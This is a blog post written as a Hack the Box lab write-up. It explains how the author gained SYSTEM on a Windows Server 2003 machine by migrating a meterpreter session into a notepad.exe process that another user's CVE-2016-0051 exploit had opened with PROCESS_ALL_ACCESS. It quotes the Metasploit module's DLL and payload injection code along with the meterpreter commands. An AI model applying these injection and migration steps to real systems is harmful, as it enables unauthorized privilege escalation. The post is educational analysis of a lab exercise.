Process All Access

Hack the Box

Posted by coastal on July 24, 2017

Recently, I was working on privilege escalation from inside a Windows Server 2003 box. While I was enumerating the box, I took a look at the running processes and saw some interesting things.

>ps
PID   PPID  Name          Arch  Ses  User                Path
---   ----  ----          ----  ---  ----                ----
[...snip...]


2356  3312  cmd.exe        x86   0   IIS APPPOOL\Web     C:\Windows\system32\cmd.exe
2384  2784  notepad.exe    x86   0   NT AUTHORITY\SYSTEM C:\Windows\system32\notepad.exe
2732  1788  notepad.exe    x86   0   IIS APPPOOL\Web     C:\Windows\system32\notepad.exe
3312  1476  w3wp.exe       x86   0   IIS APPPOOL\Web     c:\windows\system32\inetsrv\w3wp.exe

We notice some curious processes for a remote server, specifically notepad.exe running as NT AUTHORITY\SYSTEM. Now anyone familiar with meterpreter knows that notepad.exe is a favorite process to spin up as a host for the meterpreter session. Given the SYSTEM level access, it is likely that another hackthebox user has performed successful exploitation and is enjoying their new privileges. Just as a bit of a joke, I decided to try to receive some ill-gotten gains:

meterpreter > migrate 2384
[*] Migrating from 3312 to 2384...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Wait, whoops. I seem to have gotten myself SYSTEM without any of the heavy lifting! Congrats, right!

Well I decided that wasn’t exactly sporting and ditched my shell. After I successfully performed the privilege escalation and got a proper SYSTEM, I had to figure out why I had been able to own the box via migrate. As I guessed (correctly) that the other user had performed priv esc via the same methodology, I checked the source code of the exploit to see what was going on with the notepad.exe spawn.

print_status("Launching notepad to host the exploit...")
  notepad_process_pid = cmd_exec_get_pid("notepad.exe")
  begin
    process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
    print_good("Process #{process.pid} launched.")
  rescue Rex::Post::Meterpreter::RequestError
    print_error("Operation failed. Hosting exploit in the current process...")
    process = client.sys.process.open
end

So we try to spawn a new notepad.exe process that will host the exploit. If we are unable to spawn a new process, we use the current running process as the host. Offloading the escalation to a new notepad.exe is more stealthy than escalating the currently running process. As the running process w3wp.exe is an IIS worker process that handles requests sent to the IIS application pool, if our exploit crashes the process would die and most likely be noticed immediately by even an inattentive sysadmin. However, if a newly spawned notepad.exe process dies, it makes much less noise and doesn’t impede application function.

The line of code in this section relevant to the strange behavior that we observed is:

process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)

The notepad process is spawned with PROCESS_ALL_ACCESS designation. In the Windows Documentation on Process Security and Access Rights, we can see that this flag, when passed to CreateProcess gives the new process object all possible access rights. This means that the any processes running on the system can use the new process to create new processes and threads, duplicate its handle, query information about the process such as tokens and access codes, set information about the process, read and write to its memory, perform an operation on its address space, and do basically whatever it likes with the new process.

Assuming we are successful in our process creation, we next load the exploit .dll into the process

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll")
library_path = ::File.expand_path(library_path)
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected ... injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
thread = process.thread.create(exploit_mem + offset, payload_mem)
sleep(3)
print_status("Done.  Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.")

As we can see, the lenient access rights on the process is what allows us to inject the exploit .dll and payload without complications, and execute the payload with SYSTEM privileges.

Interestingly enough, it doesn’t look like the exploit migrates the meterpreter session to the newly escalated notepad.exe process. Looking at the output of ps, the notepad.exe process is not killed after exploitation. While we could set our payload to a reverse shell and catch our new SYSTEM privileges, we could also perform the exploit without any payload and migrate meterpreter into the elevated PROCESS_ALL_ACCESS process like we did earlier albeit accidentally. I decided to perform the priv esc that way and got myself a SYSTEM shell, but this time I earned it.

-coastal


Resources

Process Security and Access Rights

w3wp.exe

w3wp.exe